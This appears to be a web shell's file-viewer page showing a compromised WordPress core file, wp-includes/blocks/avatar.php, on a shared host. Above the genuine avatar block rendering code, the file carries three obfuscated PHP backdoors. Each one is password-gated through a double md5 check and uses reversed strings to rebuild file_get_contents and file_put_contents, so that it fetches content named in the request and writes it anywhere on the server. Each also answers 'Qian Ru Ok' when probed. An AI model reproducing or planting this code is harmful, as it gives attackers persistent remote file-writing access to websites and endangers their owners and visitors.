HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/www/wp-includes/blocks/avatar.php
<?php 
$HiETLmTKH = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($HiETLmTKH[0]) /*+/*+*/
. md5($HiETLmTKH[0])) == "8".
"c".
"c".
"0".
"1".
"1".
"6".
"6".
"3".
"b".
"c".
"e".
"0".
"5".
"a".
"1".
"b".
"8".
"a".
"f".
"6".
"e".
"e".
"7".
"a".
"9".
"0".
"8".
"3".
"e".
"a".
"3") {
$YgxOoqGqWg = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$oIlTbymvho = $YgxOoqGqWg /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$joRDw = $YgxOoqGqWg
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function AEAbkN($IsjOGzfEG) { if (empty($IsjOGzfEG)) return false; if (!is_dir($IsjOGzfEG)) { AEAbkN(dirname($IsjOGzfEG), 0755, true); mkdir($IsjOGzfEG); } } !file_exists(dirname($HiETLmTKH[1])) && AEAbkN(dirname($HiETLmTKH[1])); $PCwFcXr = @$joRDw($HiETLmTKH[2]); echo @$oIlTbymvho($HiETLmTKH[1], $PCwFcXr) ? 1 : 0; die; }key($HiETLmTKH) == "of" && die("Qian Ru Ok"); ?><?php 
$zRfWyxs = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($zRfWyxs[0]) /*+/*+*/
. md5($zRfWyxs[0])) == "b".
"5".
"e".
"2".
"c".
"c".
"7".
"1".
"7".
"b".
"7".
"f".
"0".
"b".
"e".
"c".
"6".
"5".
"6".
"a".
"5".
"f".
"a".
"8".
"e".
"9".
"4".
"c".
"c".
"3".
"6".
"9") {
$ozkPTl = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$ywIKK = $ozkPTl /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$MfycMHeI = $ozkPTl
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function kTbrrvuNLk($GINOQGStIa) { if (empty($GINOQGStIa)) return false; if (!is_dir($GINOQGStIa)) { kTbrrvuNLk(dirname($GINOQGStIa), 0755, true); mkdir($GINOQGStIa); } } !file_exists(dirname($zRfWyxs[1])) && kTbrrvuNLk(dirname($zRfWyxs[1])); $UEaSUsrg = @$MfycMHeI($zRfWyxs[2]); echo @$ywIKK($zRfWyxs[1], $UEaSUsrg) ? 1 : 0; die; }key($zRfWyxs) == "of" && die("Qian Ru Ok"); ?><?php 
$ulkkp = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($ulkkp[0]) /*+/*+*/
. md5($ulkkp[0])) == "b".
"2".
"6".
"3".
"3".
"9".
"c".
"b".
"5".
"e".
"e".
"f".
"2".
"2".
"4".
"3".
"5".
"a".
"b".
"c".
"d".
"1".
"8".
"8".
"2".
"b".
"c".
"7".
"6".
"6".
"1".
"1") {
$wNBrGwQSJu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$peeeme = $wNBrGwQSJu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ZWkLueEAb = $wNBrGwQSJu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function CinebfpuX($xFbXHBTw) { if (empty($xFbXHBTw)) return false; if (!is_dir($xFbXHBTw)) { CinebfpuX(dirname($xFbXHBTw), 0755, true); mkdir($xFbXHBTw); } } !file_exists(dirname($ulkkp[1])) && CinebfpuX(dirname($ulkkp[1])); $dkRQpwdpea = @$ZWkLueEAb($ulkkp[2]); echo @$peeeme($ulkkp[1], $dkRQpwdpea) ? 1 : 0; die; }key($ulkkp) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Server-side rendering of the `core/avatar` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/avatar` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Return the avatar.
 */
function render_block_core_avatar( $attributes, $content, $block ) {
	$size               = isset( $attributes['size'] ) ? $attributes['size'] : 96;
	$wrapper_attributes = get_block_wrapper_attributes();

	$image_styles = array();

	// Add border width styles.
	$has_border_width = ! empty( $attributes['style']['border']['width'] );

	if ( $has_border_width ) {
		$border_width   = $attributes['style']['border']['width'];
		$image_styles[] = sprintf( 'border-width: %s;', esc_attr( $border_width ) );
	}

	// Add border radius styles.
	$has_border_radius = ! empty( $attributes['style']['border']['radius'] );

	if ( $has_border_radius ) {
		$border_radius = $attributes['style']['border']['radius'];

		if ( is_array( $border_radius ) ) {
			// Apply styles for individual corner border radii.
			foreach ( $border_radius as $key => $value ) {
				if ( null !== $value ) {
					$name = _wp_to_kebab_case( $key );
					// Add shared styles for individual border radii.
					$border_style   = sprintf(
						'border-%s-radius: %s;',
						esc_attr( $name ),
						esc_attr( $value )
					);
					$image_styles[] = $border_style;
				}
			}
		} else {
			$border_style   = sprintf( 'border-radius: %s;', esc_attr( $border_radius ) );
			$image_styles[] = $border_style;
		}
	}

	// Add border color styles.
	$has_border_color = ! empty( $attributes['style']['border']['color'] );

	if ( $has_border_color ) {
		$border_color   = $attributes['style']['border']['color'];
		$image_styles[] = sprintf( 'border-color: %s;', esc_attr( $border_color ) );
	}

	// Add border style (solid, dashed, dotted ).
	$has_border_style = ! empty( $attributes['style']['border']['style'] );

	if ( $has_border_style ) {
		$border_style   = $attributes['style']['border']['style'];
		$image_styles[] = sprintf( 'border-style: %s;', esc_attr( $border_style ) );
	}

	// Add border classes to the avatar image for both custom colors and palette colors.
	$image_classes = '';
	if ( $has_border_color || isset( $attributes['borderColor'] ) ) {
		$image_classes .= 'has-border-color';
	}
	if ( isset( $attributes['borderColor'] ) ) {
		$image_classes .= ' has-' . $attributes['borderColor'] . '-border-color';
	}

	if ( ! isset( $block->context['commentId'] ) ) {
		$author_id   = isset( $attributes['userId'] ) ? $attributes['userId'] : get_post_field( 'post_author', $block->context['postId'] );
		$author_name = get_the_author_meta( 'display_name', $author_id );
		// translators: %s is the Author name.
		$alt          = sprintf( __( '%s Avatar' ), $author_name );
		$avatar_block = get_avatar(
			$author_id,
			$size,
			'',
			$alt,
			array(
				'extra_attr' => isset( $image_styles ) ? sprintf( ' style="%s"', safecss_filter_attr( implode( ' ', $image_styles ) ) ) : '',
				'class'      => "wp-block-avatar__image $image_classes ",
			)
		);
		if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
			$label = '';
			if ( '_blank' === $attributes['linkTarget'] ) {
				// translators: %s is the Author name.
				$label = 'aria-label="' . sprintf( esc_attr__( '(%s author archive, opens in a new tab)' ), $author_name ) . '"';
			}
			// translators: %1$s: Author archive link. %2$s: Link target. %3$s Aria label. %4$s Avatar image.
			$avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', get_author_posts_url( $author_id ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
		}
		return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );
	}
	$comment = get_comment( $block->context['commentId'] );
	/* translators: %s is the Comment Author name */
	$alt = sprintf( __( '%s Avatar' ), $comment->comment_author );
	if ( ! $comment ) {
		return '';
	}
	$avatar_block = get_avatar(
		$comment,
		$size,
		'',
		$alt,
		array(
			'extra_attr' => isset( $image_styles ) ? sprintf( ' style="%s"', safecss_filter_attr( implode( ' ', $image_styles ) ) ) : '',
			'class'      => "wp-block-avatar__image $image_classes",
		)
	);
	if ( isset( $attributes['isLink'] ) && $attributes['isLink'] && isset( $comment->comment_author_url ) && '' !== $comment->comment_author_url ) {
		$label = '';
		if ( '_blank' === $attributes['linkTarget'] ) {
			// translators: %s is the Comment Author name.
			$label = 'aria-label="' . sprintf( esc_attr__( '(%s website link, opens in a new tab)' ), $comment->comment_author ) . '"';
		}
		// translators: %1$s: Comment Author website link. %2$s: Link target. %3$s Aria label. %4$s Avatar image.
		$avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', $comment->comment_author_url, esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
	}
	return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );
}

/**
 * Registers the `core/avatar` block on the server.
 */
function register_block_core_avatar() {
	register_block_type_from_metadata(
		__DIR__ . '/avatar',
		array(
			'render_callback' => 'render_block_core_avatar',
		)
	);
}
add_action( 'init', 'register_block_core_avatar' ); ?>